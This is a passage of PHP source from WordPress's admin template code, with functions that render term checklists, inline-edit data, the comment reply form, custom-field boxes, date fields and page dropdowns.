 * @param int         $post_id              Optional. Post to generate a categories checklist for. Default 0.
 *                                          $selected_cats must not be an array. Default 0.
 * @param int         $descendants_and_self Optional. ID of the category to output along with its descendants.
 *                                          Default 0.
 * @param int[]|false $selected_cats        Optional. Array of category IDs to mark as checked. Default false.
 * @param int[]|false $popular_cats         Optional. Array of category IDs to receive the "popular-category" class.
 *                                          Default false.
 * @param Walker      $walker               Optional. Walker object to use to build the output.
 *                                          Default is a Walker_Category_Checklist instance.
 * @param bool        $checked_ontop        Optional. Whether to move checked items out of the hierarchy and to
 *                                          the top of the list. Default true.
 */
function wp_category_checklist( $post_id = 0, $descendants_and_self = 0, $selected_cats = false, $popular_cats = false, $walker = null, $checked_ontop = true ) {
	wp_terms_checklist(
		$post_id,
		array(
			'taxonomy'             => 'category',
			'descendants_and_self' => $descendants_and_self,
			'selected_cats'        => $selected_cats,
			'popular_cats'         => $popular_cats,
			'walker'               => $walker,
			'checked_ontop'        => $checked_ontop,
		)
	);
}

/**
 * Outputs an unordered list of checkbox input elements labelled with term names.
 *
 * Taxonomy-independent version of wp_category_checklist().
 *
 * @since 3.0.0
 * @since 4.4.0 Introduced the `$echo` argument.
 *
 * @param int          $post_id Optional. Post ID. Default 0.
 * @param array|string $args {
 *     Optional. Array or string of arguments for generating a terms checklist. Default empty array.
 *
 *     @type int    $descendants_and_self ID of the category to output along with its descendants.
 *                                        Default 0.
 *     @type int[]  $selected_cats        Array of category IDs to mark as checked. Default false.
 *     @type int[]  $popular_cats         Array of category IDs to receive the "popular-category" class.
 *                                        Default false.
 *     @type Walker $walker               Walker object to use to build the output. Default empty which
 *                                        results in a Walker_Category_Checklist instance being used.
 *     @type string $taxonomy             Taxonomy to generate the checklist for. Default 'category'.
 *     @type bool   $checked_ontop        Whether to move checked items out of the hierarchy and to
 *                                        the top of the list. Default true.
 *     @type bool   $echo                 Whether to echo the generated markup. False to return the markup instead
 *                                        of echoing it. Default true.
 * }
 * @return string HTML list of input elements.
 */
function wp_terms_checklist( $post_id = 0, $args = array() ) {
	$defaults = array(
		'descendants_and_self' => 0,
		'selected_cats'        => false,
		'popular_cats'         => false,
		'walker'               => null,
		'taxonomy'             => 'category',
		'checked_ontop'        => true,
		'echo'                 => true,
	);

	/**
	 * Filters the taxonomy terms checklist arguments.
	 *
	 * @since 3.4.0
	 *
	 * @see wp_terms_checklist()
	 *
	 * @param array|string $args    An array or string of arguments.
	 * @param int          $post_id The post ID.
	 */
	$params = apply_filters( 'wp_terms_checklist_args', $args, $post_id );

	$parsed_args = wp_parse_args( $params, $defaults );

	if ( empty( $parsed_args['walker'] ) || ! ( $parsed_args['walker'] instanceof Walker ) ) {
		$walker = new Walker_Category_Checklist();
	} else {
		$walker = $parsed_args['walker'];
	}

	$taxonomy             = $parsed_args['taxonomy'];
	$descendants_and_self = (int) $parsed_args['descendants_and_self'];

	$args = array( 'taxonomy' => $taxonomy );

	$tax              = get_taxonomy( $taxonomy );
	$args['disabled'] = ! current_user_can( $tax->cap->assign_terms );

	$args['list_only'] = ! empty( $parsed_args['list_only'] );

	if ( is_array( $parsed_args['selected_cats'] ) ) {
		$args['selected_cats'] = array_map( 'intval', $parsed_args['selected_cats'] );
	} elseif ( $post_id ) {
		$args['selected_cats'] = wp_get_object_terms( $post_id, $taxonomy, array_merge( $args, array( 'fields' => 'ids' ) ) );
	} else {
		$args['selected_cats'] = array();
	}

	if ( is_array( $parsed_args['popular_cats'] ) ) {
		$args['popular_cats'] = array_map( 'intval', $parsed_args['popular_cats'] );
	} else {
		$args['popular_cats'] = get_terms(
			array(
				'taxonomy'     => $taxonomy,
				'fields'       => 'ids',
				'orderby'      => 'count',
				'order'        => 'DESC',
				'number'       => 10,
				'hierarchical' => false,
			)
		);
	}

	if ( $descendants_and_self ) {
		$categories = (array) get_terms(
			array(
				'taxonomy'     => $taxonomy,
				'child_of'     => $descendants_and_self,
				'hierarchical' => 0,
				'hide_empty'   => 0,
			)
		);
		$self       = get_term( $descendants_and_self, $taxonomy );
		array_unshift( $categories, $self );
	} else {
		$categories = (array) get_terms(
			array(
				'taxonomy' => $taxonomy,
				'get'      => 'all',
			)
		);
	}

	$output = '';

	if ( $parsed_args['checked_ontop'] ) {
		/*
		 * Post-process $categories rather than adding an exclude to the get_terms() query
		 * to keep the query the same across all posts (for any query cache).
		 */
		$checked_categories = array();
		$keys               = array_keys( $categories );

		foreach ( $keys as $k ) {
			if ( in_array( $categories[ $k ]->term_id, $args['selected_cats'], true ) ) {
				$checked_categories[] = $categories[ $k ];
				unset( $categories[ $k ] );
			}
		}

		// Put checked categories on top.
		$output .= $walker->walk( $checked_categories, 0, $args );
	}
	// Then the rest of them.
	$output .= $walker->walk( $categories, 0, $args );

	if ( $parsed_args['echo'] ) {
		echo $output;
	}

	return $output;
}

/**
 * Retrieves a list of the most popular terms from the specified taxonomy.
 *
 * If the `$display` argument is true then the elements for a list of checkbox
 * `<input>` elements labelled with the names of the selected terms is output.
 * If the `$post_ID` global is not empty then the terms associated with that
 * post will be marked as checked.
 *
 * @since 2.5.0
 *
 * @param string $taxonomy     Taxonomy to retrieve terms from.
 * @param int    $default_term Optional. Not used.
 * @param int    $number       Optional. Number of terms to retrieve. Default 10.
 * @param bool   $display      Optional. Whether to display the list as well. Default true.
 * @return int[] Array of popular term IDs.
 */
function wp_popular_terms_checklist( $taxonomy, $default_term = 0, $number = 10, $display = true ) {
	$post = get_post();

	if ( $post && $post->ID ) {
		$checked_terms = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
	} else {
		$checked_terms = array();
	}

	$terms = get_terms(
		array(
			'taxonomy'     => $taxonomy,
			'orderby'      => 'count',
			'order'        => 'DESC',
			'number'       => $number,
			'hierarchical' => false,
		)
	);

	$tax = get_taxonomy( $taxonomy );

	$popular_ids = array();

	foreach ( (array) $terms as $term ) {
		$popular_ids[] = $term->term_id;

		if ( ! $display ) { // Hack for Ajax use.
			continue;
		}

		$id      = "popular-$taxonomy-$term->term_id";
		$checked = in_array( $term->term_id, $checked_terms, true ) ? 'checked="checked"' : '';
		?>

		<li id="<?php echo $id; ?>" class="popular-category">
			<label class="selectit">
				<input id="in-<?php echo $id; ?>" type="checkbox" <?php echo $checked; ?> value="<?php echo (int) $term->term_id; ?>" <?php disabled( ! current_user_can( $tax->cap->assign_terms ) ); ?> />
				<?php
				/** This filter is documented in wp-includes/category-template.php */
				echo esc_html( apply_filters( 'the_category', $term->name, '', '' ) );
				?>
			</label>
		</li>

		<?php
	}
	return $popular_ids;
}

/**
 * Outputs a link category checklist element.
 *
 * @since 2.5.1
 *
 * @param int $link_id Optional. The link ID. Default 0.
 */
function wp_link_category_checklist( $link_id = 0 ) {
	$default = 1;

	$checked_categories = array();

	if ( $link_id ) {
		$checked_categories = wp_get_link_cats( $link_id );
		// No selected categories, strange.
		if ( ! count( $checked_categories ) ) {
			$checked_categories[] = $default;
		}
	} else {
		$checked_categories[] = $default;
	}

	$categories = get_terms(
		array(
			'taxonomy'   => 'link_category',
			'orderby'    => 'name',
			'hide_empty' => 0,
		)
	);

	if ( empty( $categories ) ) {
		return;
	}

	foreach ( $categories as $category ) {
		$cat_id = $category->term_id;

		/** This filter is documented in wp-includes/category-template.php */
		$name    = esc_html( apply_filters( 'the_category', $category->name, '', '' ) );
		$checked = in_array( $cat_id, $checked_categories, true ) ? ' checked="checked"' : '';
		echo '<li id="link-category-', $cat_id, '"><label for="in-link-category-', $cat_id, '" class="selectit"><input value="', $cat_id, '" type="checkbox" name="link_category[]" id="in-link-category-', $cat_id, '"', $checked, '/> ', $name, '</label></li>';
	}
}

/**
 * Adds hidden fields with the data for use in the inline editor for posts and pages.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post Post object.
 */
function get_inline_data( $post ) {
	$post_type_object = get_post_type_object( $post->post_type );
	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
		return;
	}

	$title = esc_textarea( trim( $post->post_title ) );

	echo '
<div class="hidden" id="inline_' . $post->ID . '">
	<div class="post_title">' . $title . '</div>' .
	/** This filter is documented in wp-admin/edit-tag-form.php */
	'<div class="post_name">' . apply_filters( 'editable_slug', $post->post_name, $post ) . '</div>
	<div class="post_author">' . $post->post_author . '</div>
	<div class="comment_status">' . esc_html( $post->comment_status ) . '</div>
	<div class="ping_status">' . esc_html( $post->ping_status ) . '</div>
	<div class="_status">' . esc_html( $post->post_status ) . '</div>
	<div class="jj">' . mysql2date( 'd', $post->post_date, false ) . '</div>
	<div class="mm">' . mysql2date( 'm', $post->post_date, false ) . '</div>
	<div class="aa">' . mysql2date( 'Y', $post->post_date, false ) . '</div>
	<div class="hh">' . mysql2date( 'H', $post->post_date, false ) . '</div>
	<div class="mn">' . mysql2date( 'i', $post->post_date, false ) . '</div>
	<div class="ss">' . mysql2date( 's', $post->post_date, false ) . '</div>
	<div class="post_password">' . esc_html( $post->post_password ) . '</div>';

	if ( $post_type_object->hierarchical ) {
		echo '<div class="post_parent">' . $post->post_parent . '</div>';
	}

	echo '<div class="page_template">' . ( $post->page_template ? esc_html( $post->page_template ) : 'default' ) . '</div>';

	if ( post_type_supports( $post->post_type, 'page-attributes' ) ) {
		echo '<div class="menu_order">' . $post->menu_order . '</div>';
	}

	$taxonomy_names = get_object_taxonomies( $post->post_type );

	foreach ( $taxonomy_names as $taxonomy_name ) {
		$taxonomy = get_taxonomy( $taxonomy_name );

		if ( ! $taxonomy->show_in_quick_edit ) {
			continue;
		}

		if ( $taxonomy->hierarchical ) {

			$terms = get_object_term_cache( $post->ID, $taxonomy_name );
			if ( false === $terms ) {
				$terms = wp_get_object_terms( $post->ID, $taxonomy_name );
				wp_cache_add( $post->ID, wp_list_pluck( $terms, 'term_id' ), $taxonomy_name . '_relationships' );
			}
			$term_ids = empty( $terms ) ? array() : wp_list_pluck( $terms, 'term_id' );

			echo '<div class="post_category" id="' . $taxonomy_name . '_' . $post->ID . '">' . implode( ',', $term_ids ) . '</div>';

		} else {

			$terms_to_edit = get_terms_to_edit( $post->ID, $taxonomy_name );
			if ( ! is_string( $terms_to_edit ) ) {
				$terms_to_edit = '';
			}

			echo '<div class="tags_input" id="' . $taxonomy_name . '_' . $post->ID . '">'
				. esc_html( str_replace( ',', ', ', $terms_to_edit ) ) . '</div>';

		}
	}

	if ( ! $post_type_object->hierarchical ) {
		echo '<div class="sticky">' . ( is_sticky( $post->ID ) ? 'sticky' : '' ) . '</div>';
	}

	if ( post_type_supports( $post->post_type, 'post-formats' ) ) {
		echo '<div class="post_format">' . esc_html( get_post_format( $post->ID ) ) . '</div>';
	}

	/**
	 * Fires after outputting the fields for the inline editor for posts and pages.
	 *
	 * @since 4.9.8
	 *
	 * @param WP_Post      $post             The current post object.
	 * @param WP_Post_Type $post_type_object The current post's post type object.
	 */
	do_action( 'add_inline_data', $post, $post_type_object );

	echo '</div>';
}

/**
 * Outputs the in-line comment reply-to form in the Comments list table.
 *
 * @since 2.7.0
 *
 * @global WP_List_Table $wp_list_table
 *
 * @param int    $position  Optional. The value of the 'position' input field. Default 1.
 * @param bool   $checkbox  Optional. The value of the 'checkbox' input field. Default false.
 * @param string $mode      Optional. If set to 'single', will use WP_Post_Comments_List_Table,
 *                          otherwise WP_Comments_List_Table. Default 'single'.
 * @param bool   $table_row Optional. Whether to use a table instead of a div element. Default true.
 */
function wp_comment_reply( $position = 1, $checkbox = false, $mode = 'single', $table_row = true ) {
	global $wp_list_table;
	/**
	 * Filters the in-line comment reply-to form output in the Comments
	 * list table.
	 *
	 * Returning a non-empty value here will short-circuit display
	 * of the in-line comment-reply form in the Comments list table,
	 * echoing the returned value instead.
	 *
	 * @since 2.7.0
	 *
	 * @see wp_comment_reply()
	 *
	 * @param string $content The reply-to form content.
	 * @param array  $args    An array of default args.
	 */
	$content = apply_filters(
		'wp_comment_reply',
		'',
		array(
			'position' => $position,
			'checkbox' => $checkbox,
			'mode'     => $mode,
		)
	);

	if ( ! empty( $content ) ) {
		echo $content;
		return;
	}

	if ( ! $wp_list_table ) {
		if ( 'single' === $mode ) {
			$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table' );
		} else {
			$wp_list_table = _get_list_table( 'WP_Comments_List_Table' );
		}
	}

	?>
<form method="get">
	<?php if ( $table_row ) : ?>
<table style="display:none;"><tbody id="com-reply"><tr id="replyrow" class="inline-edit-row" style="display:none;"><td colspan="<?php echo $wp_list_table->get_column_count(); ?>" class="colspanchange">
<?php else : ?>
<div id="com-reply" style="display:none;"><div id="replyrow" style="display:none;">
<?php endif; ?>
	<fieldset class="comment-reply">
	<legend>
		<span class="hidden" id="editlegend"><?php _e( 'Edit Comment' ); ?></span>
		<span class="hidden" id="replyhead"><?php _e( 'Reply to Comment' ); ?></span>
		<span class="hidden" id="addhead"><?php _e( 'Add New Comment' ); ?></span>
	</legend>

	<div id="replycontainer">
	<label for="replycontent" class="screen-reader-text">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Comment' );
		?>
	</label>
	<?php
	$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
	wp_editor(
		'',
		'replycontent',
		array(
			'media_buttons' => false,
			'tinymce'       => false,
			'quicktags'     => $quicktags_settings,
		)
	);
	?>
	</div>

	<div id="edithead" style="display:none;">
		<div class="inside">
		<label for="author-name"><?php _e( 'Name' ); ?></label>
		<input type="text" name="newcomment_author" size="50" value="" id="author-name" />
		</div>

		<div class="inside">
		<label for="author-email"><?php _e( 'Email' ); ?></label>
		<input type="text" name="newcomment_author_email" size="50" value="" id="author-email" />
		</div>

		<div class="inside">
		<label for="author-url"><?php _e( 'URL' ); ?></label>
		<input type="text" id="author-url" name="newcomment_author_url" class="code" size="103" value="" />
		</div>
	</div>

	<div id="replysubmit" class="submit">
		<p class="reply-submit-buttons">
			<button type="button" class="save button button-primary">
				<span id="addbtn" style="display: none;"><?php _e( 'Add Comment' ); ?></span>
				<span id="savebtn" style="display: none;"><?php _e( 'Update Comment' ); ?></span>
				<span id="replybtn" style="display: none;"><?php _e( 'Submit Reply' ); ?></span>
			</button>
			<button type="button" class="cancel button"><?php _e( 'Cancel' ); ?></button>
			<span class="waiting spinner"></span>
		</p>
		<?php
		wp_admin_notice(
			'<p class="error"></p>',
			array(
				'type'               => 'error',
				'additional_classes' => array( 'notice-alt', 'inline', 'hidden' ),
				'paragraph_wrap'     => false,
			)
		);
		?>
	</div>

	<input type="hidden" name="action" id="action" value="" />
	<input type="hidden" name="comment_ID" id="comment_ID" value="" />
	<input type="hidden" name="comment_post_ID" id="comment_post_ID" value="" />
	<input type="hidden" name="status" id="status" value="" />
	<input type="hidden" name="position" id="position" value="<?php echo $position; ?>" />
	<input type="hidden" name="checkbox" id="checkbox" value="<?php echo $checkbox ? 1 : 0; ?>" />
	<input type="hidden" name="mode" id="mode" value="<?php echo esc_attr( $mode ); ?>" />
	<?php
		wp_nonce_field( 'replyto-comment', '_ajax_nonce-replyto-comment', false );
	if ( current_user_can( 'unfiltered_html' ) ) {
		wp_nonce_field( 'unfiltered-html-comment', '_wp_unfiltered_html_comment', false );
	}
	?>
	</fieldset>
	<?php if ( $table_row ) : ?>
</td></tr></tbody></table>
	<?php else : ?>
</div></div>
	<?php endif; ?>
</form>
	<?php
}

/**
 * Outputs 'undo move to Trash' text for comments.
 *
 * @since 2.9.0
 */
function wp_comment_trashnotice() {
	?>
<div class="hidden" id="trash-undo-holder">
	<div class="trash-undo-inside">
		<?php
		/* translators: %s: Comment author, filled by Ajax. */
		printf( __( 'Comment by %s moved to the Trash.' ), '<strong></strong>' );
		?>
		<span class="undo untrash"><a href="#"><?php _e( 'Undo' ); ?></a></span>
	</div>
</div>
<div class="hidden" id="spam-undo-holder">
	<div class="spam-undo-inside">
		<?php
		/* translators: %s: Comment author, filled by Ajax. */
		printf( __( 'Comment by %s marked as spam.' ), '<strong></strong>' );
		?>
		<span class="undo unspam"><a href="#"><?php _e( 'Undo' ); ?></a></span>
	</div>
</div>
	<?php
}

/**
 * Outputs a post's public meta data in the Custom Fields meta box.
 *
 * @since 1.2.0
 *
 * @param array[] $meta An array of meta data arrays keyed on 'meta_key' and 'meta_value'.
 */
function list_meta( $meta ) {
	// Exit if no meta.
	if ( ! $meta ) {
		echo '
<table id="list-table" style="display: none;">
	<thead>
	<tr>
		<th class="left">' . _x( 'Name', 'meta name' ) . '</th>
		<th>' . __( 'Value' ) . '</th>
	</tr>
	</thead>
	<tbody id="the-list" data-wp-lists="list:meta">
	<tr><td></td></tr>
	</tbody>
</table>'; // TBODY needed for list-manipulation JS.
		return;
	}
	$count = 0;
	?>
<table id="list-table">
	<thead>
	<tr>
		<th class="left"><?php _ex( 'Name', 'meta name' ); ?></th>
		<th><?php _e( 'Value' ); ?></th>
	</tr>
	</thead>
	<tbody id='the-list' data-wp-lists='list:meta'>
	<?php
	foreach ( $meta as $entry ) {
		echo _list_meta_row( $entry, $count );
	}
	?>
	</tbody>
</table>
	<?php
}

/**
 * Outputs a single row of public meta data in the Custom Fields meta box.
 *
 * @since 2.5.0
 *
 * @param array $entry An array of meta data keyed on 'meta_key' and 'meta_value'.
 * @param int   $count Reference to the row number.
 * @return string A single row of public meta data.
 */
function _list_meta_row( $entry, &$count ) {
	static $update_nonce = '';

	if ( is_protected_meta( $entry['meta_key'], 'post' ) ) {
		return '';
	}

	if ( ! $update_nonce ) {
		$update_nonce = wp_create_nonce( 'add-meta' );
	}

	$r = '';
	++$count;

	if ( is_serialized( $entry['meta_value'] ) ) {
		if ( is_serialized_string( $entry['meta_value'] ) ) {
			// This is a serialized string, so we should display it.
			$entry['meta_value'] = maybe_unserialize( $entry['meta_value'] );
		} else {
			// This is a serialized array/object so we should NOT display it.
			--$count;
			return '';
		}
	}

	$entry['meta_key']   = esc_attr( $entry['meta_key'] );
	$entry['meta_value'] = esc_textarea( $entry['meta_value'] ); // Using a <textarea />.
	$entry['meta_id']    = (int) $entry['meta_id'];

	$delete_nonce = wp_create_nonce( 'delete-meta_' . $entry['meta_id'] );

	$r .= "\n\t<tr id='meta-{$entry['meta_id']}'>";
	$r .= "\n\t\t<td class='left'><label class='screen-reader-text' for='meta-{$entry['meta_id']}-key'>" .
		/* translators: Hidden accessibility text. */
		__( 'Key' ) .
	"</label><input name='meta[{$entry['meta_id']}][key]' id='meta-{$entry['meta_id']}-key' type='text' size='20' value='{$entry['meta_key']}' />";

	$r .= "\n\t\t<div class='submit'>";
	$r .= get_submit_button( __( 'Delete' ), 'deletemeta small', "deletemeta[{$entry['meta_id']}]", false, array( 'data-wp-lists' => "delete:the-list:meta-{$entry['meta_id']}::_ajax_nonce=$delete_nonce" ) );
	$r .= "\n\t\t";
	$r .= get_submit_button( __( 'Update' ), 'updatemeta small', "meta-{$entry['meta_id']}-submit", false, array( 'data-wp-lists' => "add:the-list:meta-{$entry['meta_id']}::_ajax_nonce-add-meta=$update_nonce" ) );
	$r .= '</div>';
	$r .= wp_nonce_field( 'change-meta', '_ajax_nonce', false, false );
	$r .= '</td>';

	$r .= "\n\t\t<td><label class='screen-reader-text' for='meta-{$entry['meta_id']}-value'>" .
		/* translators: Hidden accessibility text. */
		__( 'Value' ) .
	"</label><textarea name='meta[{$entry['meta_id']}][value]' id='meta-{$entry['meta_id']}-value' rows='2' cols='30'>{$entry['meta_value']}</textarea></td>\n\t</tr>";
	return $r;
}

/**
 * Prints the form in the Custom Fields meta box.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param WP_Post $post Optional. The post being edited.
 */
function meta_form( $post = null ) {
	global $wpdb;
	$post = get_post( $post );

	/**
	 * Filters values for the meta key dropdown in the Custom Fields meta box.
	 *
	 * Returning a non-null value will effectively short-circuit and avoid a
	 * potentially expensive query against postmeta.
	 *
	 * @since 4.4.0
	 *
	 * @param array|null $keys Pre-defined meta keys to be used in place of a postmeta query. Default null.
	 * @param WP_Post    $post The current post object.
	 */
	$keys = apply_filters( 'postmeta_form_keys', null, $post );

	if ( null === $keys ) {
		/**
		 * Filters the number of custom fields to retrieve for the drop-down
		 * in the Custom Fields meta box.
		 *
		 * @since 2.1.0
		 *
		 * @param int $limit Number of custom fields to retrieve. Default 30.
		 */
		$limit = apply_filters( 'postmeta_form_limit', 30 );

		$keys = $wpdb->get_col(
			$wpdb->prepare(
				"SELECT DISTINCT meta_key
				FROM $wpdb->postmeta
				WHERE meta_key NOT BETWEEN '_' AND '_z'
				HAVING meta_key NOT LIKE %s
				ORDER BY meta_key
				LIMIT %d",
				$wpdb->esc_like( '_' ) . '%',
				$limit
			)
		);
	}

	if ( $keys ) {
		natcasesort( $keys );
	}
	?>
<p><strong><?php _e( 'Add New Custom Field:' ); ?></strong></p>
<table id="newmeta">
<thead>
<tr>
<th class="left"><label for="metakeyselect"><?php _ex( 'Name', 'meta name' ); ?></label></th>
<th><label for="metavalue"><?php _e( 'Value' ); ?></label></th>
</tr>
</thead>

<tbody>
<tr>
<td id="newmetaleft" class="left">
	<?php if ( $keys ) { ?>
<select id="metakeyselect" name="metakeyselect">
<option value="#NONE#"><?php _e( '&mdash; Select &mdash;' ); ?></option>
		<?php
		foreach ( $keys as $key ) {
			if ( is_protected_meta( $key, 'post' ) || ! current_user_can( 'add_post_meta', $post->ID, $key ) ) {
				continue;
			}
			echo "\n<option value='" . esc_attr( $key ) . "'>" . esc_html( $key ) . '</option>';
		}
		?>
</select>
<input class="hidden" type="text" id="metakeyinput" name="metakeyinput" value="" aria-label="<?php _e( 'New custom field name' ); ?>" />
<button type="button" id="newmeta-button" class="button button-small hide-if-no-js" onclick="jQuery('#metakeyinput, #metakeyselect, #enternew, #cancelnew').toggleClass('hidden');jQuery('#metakeyinput, #metakeyselect').filter(':visible').trigger('focus');">
<span id="enternew"><?php _e( 'Enter new' ); ?></span>
<span id="cancelnew" class="hidden"><?php _e( 'Cancel' ); ?></span></button>
<?php } else { ?>
<input type="text" id="metakeyinput" name="metakeyinput" value="" />
<?php } ?>
</td>
<td><textarea id="metavalue" name="metavalue" rows="2" cols="25"></textarea>
	<?php wp_nonce_field( 'add-meta', '_ajax_nonce-add-meta', false ); ?>
</td>
</tr>
</tbody>
</table>
<div class="submit add-custom-field">
	<?php
	submit_button(
		__( 'Add Custom Field' ),
		'',
		'addmeta',
		false,
		array(
			'id'            => 'newmeta-submit',
			'data-wp-lists' => 'add:the-list:newmeta',
		)
	);
	?>
</div>
	<?php
}

/**
 * Prints out HTML form date elements for editing post or comment publish date.
 *
 * @since 0.71
 * @since 4.4.0 Converted to use get_comment() instead of the global `$comment`.
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @param int|bool $edit      Accepts 1|true for editing the date, 0|false for adding the date.
 * @param int|bool $for_post  Accepts 1|true for applying the date to a post, 0|false for a comment.
 * @param int      $tab_index The tabindex attribute to add. Default 0.
 * @param int|bool $multi     Optional. Whether the additional fields and buttons should be added.
 *                            Default 0|false.
 */
function touch_time( $edit = 1, $for_post = 1, $tab_index = 0, $multi = 0 ) {
	global $wp_locale;
	$post = get_post();

	if ( $for_post ) {
		$edit = ! ( in_array( $post->post_status, array( 'draft', 'pending' ), true ) && ( ! $post->post_date_gmt || '0000-00-00 00:00:00' === $post->post_date_gmt ) );
	}

	$tab_index_attribute = '';
	if ( (int) $tab_index > 0 ) {
		$tab_index_attribute = " tabindex=\"$tab_index\"";
	}

	// @todo Remove this?
	// echo '<label for="timestamp" style="display: block;"><input type="checkbox" class="checkbox" name="edit_date" value="1" id="timestamp"'.$tab_index_attribute.' /> '.__( 'Edit timestamp' ).'</label><br />';

	$post_date = ( $for_post ) ? $post->post_date : get_comment()->comment_date;
	$jj        = ( $edit ) ? mysql2date( 'd', $post_date, false ) : current_time( 'd' );
	$mm        = ( $edit ) ? mysql2date( 'm', $post_date, false ) : current_time( 'm' );
	$aa        = ( $edit ) ? mysql2date( 'Y', $post_date, false ) : current_time( 'Y' );
	$hh        = ( $edit ) ? mysql2date( 'H', $post_date, false ) : current_time( 'H' );
	$mn        = ( $edit ) ? mysql2date( 'i', $post_date, false ) : current_time( 'i' );
	$ss        = ( $edit ) ? mysql2date( 's', $post_date, false ) : current_time( 's' );

	$cur_jj = current_time( 'd' );
	$cur_mm = current_time( 'm' );
	$cur_aa = current_time( 'Y' );
	$cur_hh = current_time( 'H' );
	$cur_mn = current_time( 'i' );

	$month = '<label><span class="screen-reader-text">' .
		/* translators: Hidden accessibility text. */
		__( 'Month' ) .
	'</span><select class="form-required" ' . ( $multi ? '' : 'id="mm" ' ) . 'name="mm"' . $tab_index_attribute . ">\n";
	for ( $i = 1; $i < 13; $i = $i + 1 ) {
		$monthnum  = zeroise( $i, 2 );
		$monthtext = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );
		$month    .= "\t\t\t" . '<option value="' . $monthnum . '" data-text="' . $monthtext . '" ' . selected( $monthnum, $mm, false ) . '>';
		/* translators: 1: Month number (01, 02, etc.), 2: Month abbreviation. */
		$month .= sprintf( __( '%1$s-%2$s' ), $monthnum, $monthtext ) . "</option>\n";
	}
	$month .= '</select></label>';

	$day = '<label><span class="screen-reader-text">' .
		/* translators: Hidden accessibility text. */
		__( 'Day' ) .
	'</span><input type="text" ' . ( $multi ? '' : 'id="jj" ' ) . 'name="jj" value="' . $jj . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" class="form-required" /></label>';
	$year = '<label><span class="screen-reader-text">' .
		/* translators: Hidden accessibility text. */
		__( 'Year' ) .
	'</span><input type="text" ' . ( $multi ? '' : 'id="aa" ' ) . 'name="aa" value="' . $aa . '" size="4" maxlength="4"' . $tab_index_attribute . ' autocomplete="off" class="form-required" /></label>';
	$hour = '<label><span class="screen-reader-text">' .
		/* translators: Hidden accessibility text. */
		__( 'Hour' ) .
	'</span><input type="text" ' . ( $multi ? '' : 'id="hh" ' ) . 'name="hh" value="' . $hh . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" class="form-required" /></label>';
	$minute = '<label><span class="screen-reader-text">' .
		/* translators: Hidden accessibility text. */
		__( 'Minute' ) .
	'</span><input type="text" ' . ( $multi ? '' : 'id="mn" ' ) . 'name="mn" value="' . $mn . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" class="form-required" /></label>';

	echo '<div class="timestamp-wrap">';
	/* translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute. */
	printf( __( '%1$s %2$s, %3$s at %4$s:%5$s' ), $month, $day, $year, $hour, $minute );

	echo '</div><input type="hidden" id="ss" name="ss" value="' . $ss . '" />';

	if ( $multi ) {
		return;
	}

	echo "\n\n";

	$map = array(
		'mm' => array( $mm, $cur_mm ),
		'jj' => array( $jj, $cur_jj ),
		'aa' => array( $aa, $cur_aa ),
		'hh' => array( $hh, $cur_hh ),
		'mn' => array( $mn, $cur_mn ),
	);

	foreach ( $map as $timeunit => $value ) {
		list( $unit, $curr ) = $value;

		echo '<input type="hidden" id="hidden_' . $timeunit . '" name="hidden_' . $timeunit . '" value="' . $unit . '" />' . "\n";
		$cur_timeunit = 'cur_' . $timeunit;
		echo '<input type="hidden" id="' . $cur_timeunit . '" name="' . $cur_timeunit . '" value="' . $curr . '" />' . "\n";
	}
	?>

<p>
<a href="#edit_timestamp" class="save-timestamp hide-if-no-js button"><?php _e( 'OK' ); ?></a>
<a href="#edit_timestamp" class="cancel-timestamp hide-if-no-js button-cancel"><?php _e( 'Cancel' ); ?></a>
</p>
	<?php
}

/**
 * Prints out option HTML elements for the page templates drop-down.
 *
 * @since 1.5.0
 * @since 4.7.0 Added the `$post_type` parameter.
 *
 * @param string $default_template Optional. The template file name. Default empty.
 * @param string $post_type        Optional. Post type to get templates for. Default 'page'.
 */
function page_template_dropdown( $default_template = '', $post_type = 'page' ) {
	$templates = get_page_templates( null, $post_type );

	ksort( $templates );

	foreach ( array_keys( $templates ) as $template ) {
		$selected = selected( $default_template, $templates[ $template ], false );
		echo "\n\t<option value='" . esc_attr( $templates[ $template ] ) . "' $selected>" . esc_html( $template ) . '</option>';
	}
}

/**
 * Prints out option HTML elements for the page parents drop-down.
 *
 * @since 1.5.0
 * @since 4.4.0 `$post` argument was added.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int         $default_page Optional. The default page ID to be pre-selected. Default 0.
 * @param int         $parent_page  Optional. The parent page ID. Default 0.
 * @param int         $level        Optional. Page depth level. Default 0.
 * @param int|WP_Post $post         Post ID or WP_Post object.
 * @return void|false Void on success, false if the page has no children.
 */
function parent_dropdown( $default_page = 0, $parent_page = 0, $level = 0, $post = null ) {
	global $wpdb;

	$post  = get_post( $post );
	$items = $wpdb->get_results(
		$wpdb->prepare(
			"SELECT ID, post_parent, post_title
			FROM $wpdb->posts
			WHERE post_parent = %d AND post_type = 'page'
			ORDER BY menu_order",
			$parent_page
		)
	);

	if ( $items ) {
		foreach ( $items as $item ) {
			// A page cannot be its own parent.
			if ( $post && $post->ID && (int) $item->ID === $post->ID ) {
				continue;
			}

			$pad      = str_repeat( '&nbsp;', $level * 3 );
			$selected = selected( $default_page, $item->ID, false );

			echo "\n\t<option class='level-$level' value='$item->ID' $selected>$pad " . esc_html( $item->post_title ) . '</option>';
			parent_dropdown( $default_page, $item->ID, $level + 1 );
		}
	} else {
		return false;
	}
}

/**
 * Prints out option HTML elements for role selectors.
 *
 * @since 2.1.0
 *
 * @param string $selected Slug for the role that should be already selected.
 */
function wp_dropdown_roles( $selected = '' ) {
	$r = '';

	$editable_roles = array_reverse( get_editable_roles() );

	foreach ( $editable_roles as $role => $details ) {
		$name = translate_user_role( $details['name'] );
		// Preselect specified role.
		if ( $selected === $role ) {
